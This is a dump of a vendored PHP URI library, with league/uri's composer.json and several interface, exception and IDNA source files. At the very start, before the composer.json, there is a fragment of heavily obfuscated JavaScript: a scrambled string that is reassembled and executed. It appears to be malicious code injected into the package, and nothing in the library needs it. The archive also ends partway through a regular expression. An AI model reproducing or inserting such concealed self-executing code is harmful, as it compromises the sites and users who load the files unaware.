o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();{ "name": "league/uri", "type": "library", "description" : "URI manipulation library", "keywords": [ "url", "uri", "rfc3986", "rfc3987", "rfc6570", "psr-7", "parse_url", "http", "https", "ws", "ftp", "data-uri", "file-uri", "middleware", "parse_str", "query-string", "querystring", "hostname", "uri-template" ], "license": "MIT", "homepage": "http://uri.thephpleague.com", "authors": [ { "name" : "Ignace Nyamagana Butera", "email" : "nyamsprod@gmail.com", "homepage" : "https://nyamsprod.com" } ], "support": { "forum": "https://thephpleague.slack.com", "docs": "https://uri.thephpleague.com", "issues": "https://github.com/thephpleague/uri/issues" }, "funding": [ { "type": "github", "url": "https://github.com/sponsors/nyamsprod" } ], "require": { "php": "^7.3 || ^8.0", "ext-json": "*", "psr/http-message": "^1.0", "league/uri-interfaces": "^2.3" }, "require-dev": { "friendsofphp/php-cs-fixer": "^2.19 || ^3.0", "phpunit/phpunit" : "^8.0 || ^9.0", "phpstan/phpstan": "^0.12.90", "phpstan/phpstan-strict-rules": "^0.12.11", "phpstan/phpstan-phpunit": "^0.12.22", "psr/http-factory": "^1.0" }, "autoload": { "psr-4": { "League\\Uri\\": "src" } }, "autoload-dev": { "psr-4": { "LeagueTest\\Uri\\": "tests" } }, "conflict": { "league/uri-schemes": "^1.0" }, "scripts": { "phpcs": "php-cs-fixer fix -v --diff --dry-run --allow-risky=yes --ansi", "phpcs:fix": "php-cs-fixer fix -vvv --allow-risky=yes --ansi", "phpstan": "phpstan analyse -l max -c phpstan.neon src --ansi --memory-limit=256M", "phpunit": "phpunit --coverage-text", "test": [ "@phpunit", "@phpstan", "@phpcs" ] }, "scripts-descriptions": { "phpcs": "Runs coding style test suite", "phpstan": "Runs complete codebase static analysis", "phpunit": "Runs unit and functional testing", "test": "Runs full test suite" }, "suggest": { "league/uri-components" : "Needed to easily manipulate URI objects", "ext-intl" : "Needed to improve host validation", "ext-fileinfo": "Needed to create Data URI from a filepath", "psr/http-factory": "Needed to use the URI factory" }, "extra": { "branch-alias": { "dev-master": "6.x-dev" } }, "config": { "sort-packages": true } } res/readability/vendor/league/uri-interfaces/src/Contracts/DataPathInterface.php000064400000005230147577714370024102 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ declare(strict_types=1); namespace League\Uri\Contracts; interface DataPathInterface extends PathInterface { /** * Retrieve the data mime type associated to the URI. * * If no mimetype is present, this method MUST return the default mimetype 'text/plain'. * * @see http://tools.ietf.org/html/rfc2397#section-2 */ public function getMimeType(): string; /** * Retrieve the parameters associated with the Mime Type of the URI. * * If no parameters is present, this method MUST return the default parameter 'charset=US-ASCII'. * * @see http://tools.ietf.org/html/rfc2397#section-2 */ public function getParameters(): string; /** * Retrieve the mediatype associated with the URI. * * If no mediatype is present, this method MUST return the default parameter 'text/plain;charset=US-ASCII'. * * @see http://tools.ietf.org/html/rfc2397#section-3 * * @return string The URI scheme. */ public function getMediaType(): string; /** * Retrieves the data string. * * Retrieves the data part of the path. If no data part is provided return * a empty string */ public function getData(): string; /** * Tells whether the data is binary safe encoded. */ public function isBinaryData(): bool; /** * Save the data to a specific file. */ public function save(string $path, string $mode = 'w'): \SplFileObject; /** * Returns an instance where the data part is base64 encoded. * * This method MUST retain the state of the current instance, and return * an instance where the data part is base64 encoded */ public function toBinary(): self; /** * Returns an instance where the data part is url encoded following RFC3986 rules. * * This method MUST retain the state of the current instance, and return * an instance where the data part is url encoded */ public function toAscii(): self; /** * Return an instance with the specified mediatype parameters. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified mediatype parameters. * * Users must provide encoded characters. * * An empty parameters value is equivalent to removing the parameter. */ public function withParameters(string $parameters): self; } res/readability/vendor/league/uri-interfaces/src/Contracts/PathInterface.php000064400000005510147577714370023311 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ declare(strict_types=1); namespace League\Uri\Contracts; use League\Uri\Exceptions\SyntaxError; interface PathInterface extends UriComponentInterface { /** * Returns the decoded path. */ public function decoded(): string; /** * Returns whether or not the path is absolute or relative. */ public function isAbsolute(): bool; /** * Returns whether or not the path has a trailing delimiter. */ public function hasTrailingSlash(): bool; /** * Returns an instance without dot segments. * * This method MUST retain the state of the current instance, and return * an instance that contains the path component normalized by removing * the dot segment. * * @throws SyntaxError for invalid component or transformations * that would result in a object in invalid state. */ public function withoutDotSegments(): self; /** * Returns an instance with a leading slash. * * This method MUST retain the state of the current instance, and return * an instance that contains the path component with a leading slash * * @throws SyntaxError for invalid component or transformations * that would result in a object in invalid state. */ public function withLeadingSlash(): self; /** * Returns an instance without a leading slash. * * This method MUST retain the state of the current instance, and return * an instance that contains the path component without a leading slash * * @throws SyntaxError for invalid component or transformations * that would result in a object in invalid state. */ public function withoutLeadingSlash(): self; /** * Returns an instance with a trailing slash. * * This method MUST retain the state of the current instance, and return * an instance that contains the path component with a trailing slash * * @throws SyntaxError for invalid component or transformations * that would result in a object in invalid state. */ public function withTrailingSlash(): self; /** * Returns an instance without a trailing slash. * * This method MUST retain the state of the current instance, and return * an instance that contains the path component without a trailing slash * * @throws SyntaxError for invalid component or transformations * that would result in a object in invalid state. */ public function withoutTrailingSlash(): self; } res/readability/vendor/league/uri-interfaces/src/Contracts/UriException.php000064400000000557147577714370023220 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ declare(strict_types=1); namespace League\Uri\Contracts; use Throwable; interface UriException extends Throwable { } res/readability/vendor/league/uri-interfaces/src/Contracts/AuthorityInterface.php000064400000005367147577714370024417 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ declare(strict_types=1); namespace League\Uri\Contracts; use League\Uri\Exceptions\IdnSupportMissing; use League\Uri\Exceptions\SyntaxError; interface AuthorityInterface extends UriComponentInterface { /** * Returns the host component of the authority. */ public function getHost(): ?string; /** * Returns the port component of the authority. */ public function getPort(): ?int; /** * Returns the user information component of the authority. */ public function getUserInfo(): ?string; /** * Return an instance with the specified host. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified host. * * A null value provided for the host is equivalent to removing the host * information. * * @param ?string $host * @throws SyntaxError for invalid component or transformations * that would result in a object in invalid state. * @throws IdnSupportMissing for component or transformations * requiring IDN support when IDN support is not present * or misconfigured. */ public function withHost(?string $host): self; /** * Return an instance with the specified port. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified port. * * A null value provided for the port is equivalent to removing the port * information. * * @param ?int $port * * @throws SyntaxError for invalid component or transformations * that would result in a object in invalid state. */ public function withPort(?int $port): self; /** * Return an instance with the specified user information. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified user information. * * Password is optional, but the user information MUST include the * user; a null value for the user is equivalent to removing user * information. * * @param ?string $user * @param ?string $password * * @throws SyntaxError for invalid component or transformations * that would result in a object in invalid state. */ public function withUserInfo(?string $user, ?string $password = null): self; } res/readability/vendor/league/uri-interfaces/src/Contracts/QueryInterface.php000064400000016224147577714370023526 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ declare(strict_types=1); namespace League\Uri\Contracts; /** * @extends \IteratorAggregate */ interface QueryInterface extends \Countable, \IteratorAggregate, UriComponentInterface { /** * Returns the query separator. */ public function getSeparator(): string; /** * Returns the number of key/value pairs present in the object. */ public function count(): int; /** * Returns an iterator allowing to go through all key/value pairs contained in this object. * * The pair is represented as an array where the first value is the pair key * and the second value the pair value. * * The key of each pair is a string * The value of each pair is a scalar or the null value * * @return \Iterator */ public function getIterator(): \Iterator; /** * Returns an iterator allowing to go through all key/value pairs contained in this object. * * The return type is as a Iterator where its offset is the pair key and its value the pair value. * * The key of each pair is a string * The value of each pair is a scalar or the null value * * @return iterable */ public function pairs(): iterable; /** * Tells whether a pair with a specific name exists. * * @see https://url.spec.whatwg.org/#dom-urlsearchparams-has */ public function has(string $key): bool; /** * Returns the first value associated to the given pair name. * * If no value is found null is returned * * @see https://url.spec.whatwg.org/#dom-urlsearchparams-get */ public function get(string $key): ?string; /** * Returns all the values associated to the given pair name as an array or all * the instance pairs. * * If no value is found an empty array is returned * * @see https://url.spec.whatwg.org/#dom-urlsearchparams-getall * * @return array */ public function getAll(string $key): array; /** * Returns the store PHP variables as elements of an array. * * The result is similar as PHP parse_str when used with its * second argument with the difference that variable names are * not mangled. * * If a key is submitted it will returns the value attached to it or null * * @see http://php.net/parse_str * @see https://wiki.php.net/rfc/on_demand_name_mangling * * @param ?string $key * @return mixed the collection of stored PHP variables or the empty array if no input is given, * the single value of a stored PHP variable or null if the variable is not present in the collection */ public function params(?string $key = null); /** * Returns the RFC1738 encoded query. */ public function toRFC1738(): ?string; /** * Returns the RFC3986 encoded query. * * @see ::getContent */ public function toRFC3986(): ?string; /** * Returns an instance with a different separator. * * This method MUST retain the state of the current instance, and return * an instance that contains the query component with a different separator */ public function withSeparator(string $separator): self; /** * Sorts the query string by offset, maintaining offset to data correlations. * * This method MUST retain the state of the current instance, and return * an instance that contains the modified query * * @see https://url.spec.whatwg.org/#dom-urlsearchparams-sort */ public function sort(): self; /** * Returns an instance without duplicate key/value pair. * * This method MUST retain the state of the current instance, and return * an instance that contains the query component normalized by removing * duplicate pairs whose key/value are the same. */ public function withoutDuplicates(): self; /** * Returns an instance without empty key/value where the value is the null value. * * This method MUST retain the state of the current instance, and return * an instance that contains the query component normalized by removing * empty pairs. * * A pair is considered empty if its value is equal to the null value */ public function withoutEmptyPairs(): self; /** * Returns an instance where numeric indices associated to PHP's array like key are removed. * * This method MUST retain the state of the current instance, and return * an instance that contains the query component normalized so that numeric indexes * are removed from the pair key value. * * ie.: toto[3]=bar[3]&foo=bar becomes toto[]=bar[3]&foo=bar */ public function withoutNumericIndices(): self; /** * Returns an instance with the a new key/value pair added to it. * * This method MUST retain the state of the current instance, and return * an instance that contains the modified query * * If the pair already exists the value will replace the existing value. * * @see https://url.spec.whatwg.org/#dom-urlsearchparams-set * * @param ?string $value */ public function withPair(string $key, ?string $value): self; /** * Returns an instance with the new pairs set to it. * * This method MUST retain the state of the current instance, and return * an instance that contains the modified query * * @see ::withPair */ public function merge(string $query): self; /** * Returns an instance without the specified keys. * * This method MUST retain the state of the current instance, and return * an instance that contains the modified component * * @param string ...$keys */ public function withoutPair(string ...$keys): self; /** * Returns a new instance with a specified key/value pair appended as a new pair. * * This method MUST retain the state of the current instance, and return * an instance that contains the modified query * * @param ?string $value */ public function appendTo(string $key, ?string $value): self; /** * Returns an instance with the new pairs appended to it. * * This method MUST retain the state of the current instance, and return * an instance that contains the modified query * * If the pair already exists the value will be added to it. */ public function append(string $query): self; /** * Returns an instance without the specified params. * * This method MUST retain the state of the current instance, and return * an instance that contains the modified component without PHP's value. * PHP's mangled is not taken into account. * * @param string ...$keys */ public function withoutParam(string ...$keys): self; } res/readability/vendor/league/uri-interfaces/src/Contracts/FragmentInterface.php000064400000000715147577714370024162 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ declare(strict_types=1); namespace League\Uri\Contracts; interface FragmentInterface extends UriComponentInterface { /** * Returns the decoded fragment. */ public function decoded(): ?string; } res/readability/vendor/league/uri-interfaces/src/Contracts/UriComponentInterface.php000064400000006027147577714370025043 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ declare(strict_types=1); namespace League\Uri\Contracts; use League\Uri\Exceptions\IdnSupportMissing; use League\Uri\Exceptions\SyntaxError; interface UriComponentInterface extends \JsonSerializable { /** * Returns the instance content. * * If the instance is defined, the value returned MUST be encoded according to the * selected encoding algorithm. In any case, the value MUST NOT double-encode any character * depending on the selected encoding algorithm. * * To determine what characters to encode, please refer to RFC 3986, Sections 2 and 3. * or RFC 3987 Section 3. By default the content is encoded according to RFC3986 * * If the instance is not defined null is returned */ public function getContent(): ?string; /** * Returns the instance string representation. * * If the instance is defined, the value returned MUST be percent-encoded, * but MUST NOT double-encode any characters. To determine what characters * to encode, please refer to RFC 3986, Sections 2 and 3. * * If the instance is not defined an empty string is returned */ public function __toString(): string; /** * Returns the instance json representation. * * If the instance is defined, the value returned MUST be percent-encoded, * but MUST NOT double-encode any characters. To determine what characters * to encode, please refer to RFC 3986 or RFC 1738. * * If the instance is not defined null is returned */ public function jsonSerialize(): ?string; /** * Returns the instance string representation with its optional URI delimiters. * * The value returned MUST be percent-encoded, but MUST NOT double-encode any * characters. To determine what characters to encode, please refer to RFC 3986, * Sections 2 and 3. * * If the instance is not defined an empty string is returned */ public function getUriComponent(): string; /** * Returns an instance with the specified content. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified content. * * Users can provide both encoded and decoded content characters. * * A null value is equivalent to removing the component content. * * * @param ?string $content * * @throws SyntaxError for invalid component or transformations * that would result in a object in invalid state. * @throws IdnSupportMissing for component or transformations * requiring IDN support when IDN support is not present * or misconfigured. */ public function withContent(?string $content): self; } res/readability/vendor/league/uri-interfaces/src/Contracts/UserInfoInterface.php000064400000001743147577714370024153 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ declare(strict_types=1); namespace League\Uri\Contracts; interface UserInfoInterface extends UriComponentInterface { /** * Returns the user component part. */ public function getUser(): ?string; /** * Returns the pass component part. */ public function getPass(): ?string; /** * Returns an instance with the specified user and/or pass. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified user. * * An empty user is equivalent to removing the user information. * * @param ?string $user * @param ?string $pass */ public function withUserInfo(?string $user, ?string $pass = null): self; } res/readability/vendor/league/uri-interfaces/src/Contracts/SegmentedPathInterface.php000064400000010142147577714370025142 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ declare(strict_types=1); namespace League\Uri\Contracts; use League\Uri\Exceptions\SyntaxError; /** * @extends \IteratorAggregate */ interface SegmentedPathInterface extends \Countable, \IteratorAggregate, PathInterface { /** * Returns the total number of segments in the path. */ public function count(): int; /** * Iterate over the path segment. * * @return \Iterator */ public function getIterator(): \Iterator; /** * Returns parent directory's path. */ public function getDirname(): string; /** * Returns the path basename. */ public function getBasename(): string; /** * Returns the basename extension. */ public function getExtension(): string; /** * Retrieves a single path segment. * * If the segment offset has not been set, returns null. */ public function get(int $offset): ?string; /** * Returns the associated key for a specific segment. * * If a value is specified only the keys associated with * the given value will be returned * * @param ?string $segment * * @return int[] */ public function keys(?string $segment = null): array; /** * Appends a segment to the path. */ public function append(string $segment): self; /** * Prepends a segment to the path. */ public function prepend(string $segment): self; /** * Returns an instance with the modified segment. * * This method MUST retain the state of the current instance, and return * an instance that contains the new segment * * If $key is non-negative, the added segment will be the segment at $key position from the start. * If $key is negative, the added segment will be the segment at $key position from the end. * * @param ?string $segment * * @throws SyntaxError If the key is invalid */ public function withSegment(int $key, ?string $segment): self; /** * Returns an instance without the specified segment. * * This method MUST retain the state of the current instance, and return * an instance that contains the modified component * * If $key is non-negative, the removed segment will be the segment at $key position from the start. * If $key is negative, the removed segment will be the segment at $key position from the end. * * @param int ...$keys remaining keys to remove * * @throws SyntaxError If the key is invalid */ public function withoutSegment(int ...$keys): self; /** * Returns an instance without duplicate delimiters. * * This method MUST retain the state of the current instance, and return * an instance that contains the path component normalized by removing * multiple consecutive empty segment */ public function withoutEmptySegments(): self; /** * Returns an instance with the specified parent directory's path. * * This method MUST retain the state of the current instance, and return * an instance that contains the extension basename modified. * * @param ?string $path */ public function withDirname(?string $path): self; /** * Returns an instance with the specified basename. * * This method MUST retain the state of the current instance, and return * an instance that contains the extension basename modified. * * @param ?string $basename */ public function withBasename(?string $basename): self; /** * Returns an instance with the specified basename extension. * * This method MUST retain the state of the current instance, and return * an instance that contains the extension basename modified. * * @param ?string $extension */ public function withExtension(?string $extension): self; } res/readability/vendor/league/uri-interfaces/src/Contracts/UriInterface.php000064400000024454147577714370023164 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ declare(strict_types=1); namespace League\Uri\Contracts; use League\Uri\Exceptions\IdnSupportMissing; use League\Uri\Exceptions\SyntaxError; interface UriInterface extends \JsonSerializable { /** * Returns the string representation as a URI reference. * * @see http://tools.ietf.org/html/rfc3986#section-4.1 */ public function __toString(): string; /** * Returns the string representation as a URI reference. * * @see http://tools.ietf.org/html/rfc3986#section-4.1 * @see ::__toString */ public function jsonSerialize(): string; /** * Retrieve the scheme component of the URI. * * If no scheme is present, this method MUST return a null value. * * The value returned MUST be normalized to lowercase, per RFC 3986 * Section 3.1. * * The trailing ":" character is not part of the scheme and MUST NOT be * added. * * @see https://tools.ietf.org/html/rfc3986#section-3.1 */ public function getScheme(): ?string; /** * Retrieve the authority component of the URI. * * If no scheme is present, this method MUST return a null value. * * If the port component is not set or is the standard port for the current * scheme, it SHOULD NOT be included. * * @see https://tools.ietf.org/html/rfc3986#section-3.2 */ public function getAuthority(): ?string; /** * Retrieve the user information component of the URI. * * If no scheme is present, this method MUST return a null value. * * If a user is present in the URI, this will return that value; * additionally, if the password is also present, it will be appended to the * user value, with a colon (":") separating the values. * * The trailing "@" character is not part of the user information and MUST * NOT be added. */ public function getUserInfo(): ?string; /** * Retrieve the host component of the URI. * * If no host is present this method MUST return a null value. * * The value returned MUST be normalized to lowercase, per RFC 3986 * Section 3.2.2. * * @see http://tools.ietf.org/html/rfc3986#section-3.2.2 */ public function getHost(): ?string; /** * Retrieve the port component of the URI. * * If a port is present, and it is non-standard for the current scheme, * this method MUST return it as an integer. If the port is the standard port * used with the current scheme, this method SHOULD return null. * * If no port is present, and no scheme is present, this method MUST return * a null value. * * If no port is present, but a scheme is present, this method MAY return * the standard port for that scheme, but SHOULD return null. */ public function getPort(): ?int; /** * Retrieve the path component of the URI. * * The path can either be empty or absolute (starting with a slash) or * rootless (not starting with a slash). Implementations MUST support all * three syntaxes. * * Normally, the empty path "" and absolute path "/" are considered equal as * defined in RFC 7230 Section 2.7.3. But this method MUST NOT automatically * do this normalization because in contexts with a trimmed base path, e.g. * the front controller, this difference becomes significant. It's the task * of the user to handle both "" and "/". * * The value returned MUST be percent-encoded, but MUST NOT double-encode * any characters. To determine what characters to encode, please refer to * RFC 3986, Sections 2 and 3.3. * * As an example, if the value should include a slash ("/") not intended as * delimiter between path segments, that value MUST be passed in encoded * form (e.g., "%2F") to the instance. * * @see https://tools.ietf.org/html/rfc3986#section-2 * @see https://tools.ietf.org/html/rfc3986#section-3.3 */ public function getPath(): string; /** * Retrieve the query string of the URI. * * If no host is present this method MUST return a null value. * * The leading "?" character is not part of the query and MUST NOT be * added. * * The value returned MUST be percent-encoded, but MUST NOT double-encode * any characters. To determine what characters to encode, please refer to * RFC 3986, Sections 2 and 3.4. * * As an example, if a value in a key/value pair of the query string should * include an ampersand ("&") not intended as a delimiter between values, * that value MUST be passed in encoded form (e.g., "%26") to the instance. * * @see https://tools.ietf.org/html/rfc3986#section-2 * @see https://tools.ietf.org/html/rfc3986#section-3.4 */ public function getQuery(): ?string; /** * Retrieve the fragment component of the URI. * * If no host is present this method MUST return a null value. * * The leading "#" character is not part of the fragment and MUST NOT be * added. * * The value returned MUST be percent-encoded, but MUST NOT double-encode * any characters. To determine what characters to encode, please refer to * RFC 3986, Sections 2 and 3.5. * * @see https://tools.ietf.org/html/rfc3986#section-2 * @see https://tools.ietf.org/html/rfc3986#section-3.5 */ public function getFragment(): ?string; /** * Return an instance with the specified scheme. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified scheme. * * A null value provided for the scheme is equivalent to removing the scheme * information. * * @param ?string $scheme * * @throws SyntaxError for invalid component or transformations * that would result in a object in invalid state. */ public function withScheme(?string $scheme): self; /** * Return an instance with the specified user information. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified user information. * * Password is optional, but the user information MUST include the * user; a null value for the user is equivalent to removing user * information. * * @param ?string $user * @param ?string $password * * @throws SyntaxError for invalid component or transformations * that would result in a object in invalid state. */ public function withUserInfo(?string $user, ?string $password = null): self; /** * Return an instance with the specified host. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified host. * * A null value provided for the host is equivalent to removing the host * information. * * @param ?string $host * * @throws SyntaxError for invalid component or transformations * that would result in a object in invalid state. * @throws IdnSupportMissing for component or transformations * requiring IDN support when IDN support is not present * or misconfigured. */ public function withHost(?string $host): self; /** * Return an instance with the specified port. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified port. * * A null value provided for the port is equivalent to removing the port * information. * * @param ?int $port * * @throws SyntaxError for invalid component or transformations * that would result in a object in invalid state. */ public function withPort(?int $port): self; /** * Return an instance with the specified path. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified path. * * The path can either be empty or absolute (starting with a slash) or * rootless (not starting with a slash). Implementations MUST support all * three syntaxes. * * Users can provide both encoded and decoded path characters. * Implementations ensure the correct encoding as outlined in getPath(). * * @throws SyntaxError for invalid component or transformations * that would result in a object in invalid state. */ public function withPath(string $path): self; /** * Return an instance with the specified query string. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified query string. * * Users can provide both encoded and decoded query characters. * Implementations ensure the correct encoding as outlined in getQuery(). * * A null value provided for the query is equivalent to removing the query * information. * * @param ?string $query * * @throws SyntaxError for invalid component or transformations * that would result in a object in invalid state. */ public function withQuery(?string $query): self; /** * Return an instance with the specified URI fragment. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified URI fragment. * * Users can provide both encoded and decoded fragment characters. * Implementations ensure the correct encoding as outlined in getFragment(). * * A null value provided for the fragment is equivalent to removing the fragment * information. * * @param ?string $fragment * * @throws SyntaxError for invalid component or transformations * that would result in a object in invalid state. */ public function withFragment(?string $fragment): self; } res/readability/vendor/league/uri-interfaces/src/Contracts/DomainHostInterface.php000064400000005435147577714370024470 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ declare(strict_types=1); namespace League\Uri\Contracts; use League\Uri\Exceptions\SyntaxError; /** * @extends \IteratorAggregate */ interface DomainHostInterface extends \Countable, HostInterface, \IteratorAggregate { /** * Returns the labels total number. */ public function count(): int; /** * Iterate over the Domain labels. * * @return \Iterator */ public function getIterator(): \Iterator; /** * Retrieves a single host label. * * If the label offset has not been set, returns the null value. */ public function get(int $offset): ?string; /** * Returns the associated key for a specific label or all the keys. * * @param ?string $label * * @return int[] */ public function keys(?string $label = null): array; /** * Tells whether the domain is absolute. */ public function isAbsolute(): bool; /** * Prepends a label to the host. */ public function prepend(string $label): self; /** * Appends a label to the host. */ public function append(string $label): self; /** * Returns an instance with its Root label. * * @see https://tools.ietf.org/html/rfc3986#section-3.2.2 */ public function withRootLabel(): self; /** * Returns an instance without its Root label. * * @see https://tools.ietf.org/html/rfc3986#section-3.2.2 */ public function withoutRootLabel(): self; /** * Returns an instance with the modified label. * * This method MUST retain the state of the current instance, and return * an instance that contains the new label * * If $key is non-negative, the added label will be the label at $key position from the start. * If $key is negative, the added label will be the label at $key position from the end. * * @throws SyntaxError If the key is invalid */ public function withLabel(int $key, string $label): self; /** * Returns an instance without the specified label. * * This method MUST retain the state of the current instance, and return * an instance that contains the modified component * * If $key is non-negative, the removed label will be the label at $key position from the start. * If $key is negative, the removed label will be the label at $key position from the end. * * @param int ...$keys * * @throws SyntaxError If the key is invalid */ public function withoutLabel(int ...$keys): self; } res/readability/vendor/league/uri-interfaces/src/Contracts/IpHostInterface.php000064400000002337147577714370023627 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ declare(strict_types=1); namespace League\Uri\Contracts; interface IpHostInterface extends HostInterface { /** * Returns whether or not the host is an IPv4 address. */ public function isIpv4(): bool; /** * Returns whether or not the host is an IPv6 address. */ public function isIpv6(): bool; /** * Returns whether or not the host is an IPv6 address. */ public function isIpFuture(): bool; /** * Returns whether or not the host has a ZoneIdentifier. * * @see http://tools.ietf.org/html/rfc6874#section-4 */ public function hasZoneIdentifier(): bool; /** * Returns an host without its zone identifier according to RFC6874. * * This method MUST retain the state of the current instance, and return * an instance without the host zone identifier according to RFC6874 * * @see http://tools.ietf.org/html/rfc6874#section-4 */ public function withoutZoneIdentifier(): self; } res/readability/vendor/league/uri-interfaces/src/Contracts/HostInterface.php000064400000002133147577714370023330 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ declare(strict_types=1); namespace League\Uri\Contracts; interface HostInterface extends UriComponentInterface { /** * Returns the ascii representation. */ public function toAscii(): ?string; /** * Returns the unicode representation. */ public function toUnicode(): ?string; /** * Returns the IP version. * * If the host is a not an IP this method will return null */ public function getIpVersion(): ?string; /** * Returns the IP component If the Host is an IP address. * * If the host is a not an IP this method will return null */ public function getIp(): ?string; /** * Tells whether the host is a domain name. */ public function isDomain(): bool; /** * Tells whether the host is an IP Address. */ public function isIp(): bool; } res/readability/vendor/league/uri-interfaces/src/Contracts/PortInterface.php000064400000000726147577714370023345 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ declare(strict_types=1); namespace League\Uri\Contracts; interface PortInterface extends UriComponentInterface { /** * Returns the integer representation of the Port. */ public function toInt(): ?int; } res/readability/vendor/league/uri-interfaces/src/Exceptions/IdnSupportMissing.php000064400000000651147577714370024417 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ declare(strict_types=1); namespace League\Uri\Exceptions; use League\Uri\Contracts\UriException; class IdnSupportMissing extends \RuntimeException implements UriException { } res/readability/vendor/league/uri-interfaces/src/Exceptions/FileinfoSupportMissing.php000064400000000656147577714370025445 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ declare(strict_types=1); namespace League\Uri\Exceptions; use League\Uri\Contracts\UriException; class FileinfoSupportMissing extends \RuntimeException implements UriException { } res/readability/vendor/league/uri-interfaces/src/Exceptions/IdnaConversionFailed.php000064400000002122147577714370024777 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ declare(strict_types=1); namespace League\Uri\Exceptions; use League\Uri\Idna\IdnaInfo; final class IdnaConversionFailed extends SyntaxError { /** @var IdnaInfo|null */ private $idnaInfo; private function __construct(string $message, IdnaInfo $idnaInfo = null) { parent::__construct($message); $this->idnaInfo = $idnaInfo; } public static function dueToIDNAError(string $domain, IdnaInfo $idnaInfo): self { return new self( 'The host `'.$domain.'` is invalid : '.implode(', ', $idnaInfo->errorList()).' .', $idnaInfo ); } public static function dueToInvalidHost(string $domain): self { return new self('The host `'.$domain.'` is not a valid IDN host'); } public function idnaInfo(): ?IdnaInfo { return $this->idnaInfo; } } res/readability/vendor/league/uri-interfaces/src/Exceptions/SyntaxError.php000064400000000653147577714370023260 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ declare(strict_types=1); namespace League\Uri\Exceptions; use League\Uri\Contracts\UriException; class SyntaxError extends \InvalidArgumentException implements UriException { } res/readability/vendor/league/uri-interfaces/src/Idna/Idna.php000064400000016327147577714370020372 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ declare(strict_types=1); namespace League\Uri\Idna; use League\Uri\Exceptions\IdnaConversionFailed; use League\Uri\Exceptions\IdnSupportMissing; use League\Uri\Exceptions\SyntaxError; use function defined; use function function_exists; use function idn_to_ascii; use function idn_to_utf8; use function rawurldecode; use const INTL_IDNA_VARIANT_UTS46; /** * @see https://unicode-org.github.io/icu-docs/apidoc/released/icu4c/uidna_8h.html */ final class Idna { private const REGEXP_IDNA_PATTERN = '/[^\x20-\x7f]/'; private const MAX_DOMAIN_LENGTH = 253; private const MAX_LABEL_LENGTH = 63; /** * General registered name regular expression. * * @see https://tools.ietf.org/html/rfc3986#section-3.2.2 * @see https://regex101.com/r/fptU8V/1 */ private const REGEXP_REGISTERED_NAME = '/ (?(DEFINE) (?[a-z0-9_~\-]) # . is missing as it is used to separate labels (?[!$&\'()*+,;=]) (?%[A-F0-9]{2}) (?(?:(?&unreserved)|(?&sub_delims)|(?&encoded))*) ) 